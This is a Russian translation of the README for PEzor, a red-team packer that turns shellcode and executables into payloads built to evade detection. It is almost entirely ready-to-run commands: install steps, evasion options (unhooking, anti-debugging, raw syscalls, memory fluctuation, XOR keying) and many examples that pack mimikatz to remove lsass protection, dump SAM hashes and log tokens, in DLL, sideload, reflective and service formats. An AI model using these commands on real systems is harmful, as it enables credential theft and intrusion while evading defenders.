
Упаковывайте шеллкод и PE-исполняемые файлы в маскирующиеся полезные нагрузки с использованием методов антиотладки, распутывания, системных вызовов и флуктуации памяти для операций красных команд.
Читайте записи в блоге здесь:
________________
< PEzor!! v3.3.0 >
----------------
\ / \ //\
\ |\___/| / \// \\
/0 0 \__ / // | \ \
/ / \/_/ // | \ \
@_^_@'/ \/_ // | \ \
//_^_/ \/_ // | \ \
( //) | \/// | \ \
( / /) _|_ / ) // | \ _\
( // /) '/,_ _ _/ ( ; -. | _ _\.-~ .-~~~^-.
(( / / )) ,-{ _ `-.|.-~-. .~ `.
(( // / )) '/\ / ~-. _ .-~ .-~^-. \
(( /// )) `. { } / \ \
(( / )) .----~-.\ \-' .~ \ `. \^-.
///.----..> \ _ -~ `. ^-` ^-_
///-._ _ _ _ _ _ _}^ - - - - ~ ~-- ,.-~
/.-~
---------------------------------------------------------------------------
Скрипт install.sh предназначен для работы в Kali Linux.
$ git clone https://github.com/phra/PEzor.git
$ cd PEzor
$ sudo bash install.sh
$ bash PEzor.sh -h
Обновление с v2.x.x
Переменная PATH должна быть обновлена для использования определенного коммита Donut! Проверьте обновленный скрипт install.sh.
PEzor helpотобразить справку по PEzor
USAGE
$ PEzor help
PEzor <EXECUTABLE>Упаковывает указанный исполняемый файл в новый
OPTIONS
-h Показать справку и выйти
-32 Принудительно 32-битный исполняемый файл
-64 Принудительно 64-битный исполняемый файл
-debug Создать отладочную сборку
-unhook Удаление пользовательских хуков
-antidebug Добавить проверки анти-отладки
-syscalls Использовать сырые системные вызовы [только 64-бит] [только Windows 10]
-sgn Кодировать сгенерированный шеллкод с помощью sgn
-text Хранить шеллкод в секции .text вместо .data
-rx Выделить память RX для шеллкода
-self Выполнить шеллкод в том же потоке
-sdk=VERSION Использовать указанную версию .NET Framework (2, 4, 4.5 (по умолчанию))
-cleanup Выполнить очистку выделенной полезной нагрузки и загруженных модулей (только для BOF)
-sleep=N Ожидает N секунд перед распаковкой шеллкода
-format=FORMAT Выводит результат в указанном ФОРМАТЕ (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
-fluctuate=PROTECTION Изменять защиту области памяти на PROTECTION (RW или NA) путем перехвата Sleep()
-xorkey=KEY Шифровать полезную нагрузку с помощью простого многобайтового XOR, ключ получается во время выполнения с помощью GetComputerNameExA(ComputerNameDnsFullyQualified)
[donut args...] После исполняемого файла для упаковки можно передать дополнительные аргументы Donut, например -z 2
ПРИМЕРЫ
# 64-бит (самоинжект RWX)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64-бит (самоинжект RX)
$ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64-бит (сырые системные вызовы)
$ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64-бит (изменение на READWRITE во время сна)
$ PEzor.sh -fluctuate=RW -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64-бит (изменение на NOACCESS во время сна)
$ PEzor.sh -fluctuate=NA -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64-бит (использование экологической привязки с GetComputerNameExA)
$ PEzor.sh -xorkey=MY-FQDN-COMPUTER-NAME -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64-бит (поддержка EXE с ресурсами путем сохранения PE-заголовков в памяти)
$ PEzor.sh -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -k 2 -p '"!+" "!processprotect" "/process:lsass.exe" "/remove" "!-" "exit"'
# 64-бит (beacon object file)
$ PEzor.sh -format=bof mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-бит (beacon object file w/ cleanup)
$ PEzor.sh -format=bof -cleanup mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-бит (dll)
$ PEzor.sh -format=dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
# 64-бит (подгрузка DLL)
$ PEzor.sh -format=dll -dll-sideload=version.dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
# 64-бит (отражаемая DLL)
$ PEzor.sh -format=reflective-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-бит (служба EXE)
$ PEzor.sh -format=service-exe mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-бит (служба DLL)
$ PEzor.sh -format=service-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-бит (dotnet)
$ PEzor.sh -format=dotnet -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-бит (dotnet-pinvoke)
$ PEzor.sh -format=dotnet-pinvoke -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-бит (dotnet-createsection)
$ PEzor.sh -format=dotnet-createsection -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 32-бит (самоинжект)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
# 32-бит (Win32 API: VirtualAlloc/WriteProcessMemory/CreateRemoteThread)
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
# 32-бит (Win32 API: VirtualAlloc/WriteProcessMemory/CreateRemoteThread) и аргументы для donut
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2 "-plsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv"
PEzor <SHELLCODE>Упаковывает указанный шеллкод в исполняемый файл
USAGE
$ PEzor <-32|-64> [options...] <SHELLCODE>
OPTIONS
-h Показать справку и выйти
-32 Принудительно 32-битный исполняемый файл
-64 Принудительно 64-битный исполняемый файл
-debug Создать отладочную сборку
-unhook Удаление пользовательских хуков
-antidebug Добавить проверки анти-отладки
-shellcode Принудительное обнаружение шеллкода
-syscalls Использовать сырые системные вызовы [только 64-бит] [только Windows 10]
-sgn Кодировать предоставленный шеллкод с помощью sgn
-text Хранить шеллкод в секции .text вместо .data
-rx Выделить память RX для шеллкода
-self Выполнить шеллкод в том же потоке [требуется RX шеллкод, не совместимо с -sgn]
-cleanup Выполнить очистку выделенной полезной нагрузки и загруженных модулей (только для BOF)
-sleep=N Ожидает N секунд перед распаковкой шеллкода
-format=FORMAT Выводит результат в указанном ФОРМАТЕ (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
-fluctuate=PROTECTION Изменять защиту области памяти на PROTECTION (RW или NA) путем перехвата Sleep()
-xorkey=KEY Шифровать полезную нагрузку с помощью простого многобайтового XOR, ключ получается во время выполнения с помощью GetComputerNameExA(ComputerNameDnsFullyQualified)
ПРИМЕРЫ
# 64-бит (самоинжект RWX)
$ PEzor.sh shellcode.bin
# 64-бит (самоинжект RX)
$ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 shellcode.bin
# 64-бит (самоинжект)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
# 64-бит (сырые системные вызовы)
$ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 shellcode.bin
# 64-бит (изменение на READWRITE во время сна)
$ PEzor.sh -fluctuate=RW shellcode.bin
# 64-бит (изменение на NOACCESS во время сна)
$ PEzor.sh -fluctuate=NA shellcode.bin
# 64-бит (использование экологической привязки с GetComputerNameExA)
$ PEzor.sh -xorkey=MY-FQDN-MACHINE-NAME shellcode.bin
# 64-бит (beacon object file)
$ PEzor.sh -format=bof shellcode.bin
# 64-бит (beacon object file w/ cleanup)
$ PEzor.sh -format=bof -cleanup shellcode.bin
# 64-бит (dll)
$ PEzor.sh -format=dll shellcode.bin
# 64-бит (подгрузка DLL)
$ PEzor.sh -format=dll -dll-sideload=version.dll shellcode.bin
# 64-бит (отражаемая DLL)
$ PEzor.sh -format=reflective-dll shellcode.bin
# 64-бит (служба EXE)
$ PEzor.sh -format=service-exe shellcode.bin
# 64-бит (служба DLL)
$ PEzor.sh -format=service-dll shellcode.bin
# 64-бит (dotnet)
$ PEzor.sh -format=dotnet shellcode.bin
# 64-бит (dotnet-pinvoke)
$ PEzor.sh -format=dotnet-pinvoke shellcode.bin
# 64-бит (dotnet-createsection)
$ PEzor.sh -format=dotnet-createsection shellcode.bin
# 32-бит (самоинжект)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
# 32-бит (Win32 API: VirtualAlloc/WriteProcessMemory/CreateRemoteThread)
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 shellcode.bin
См. код: PEzor.sh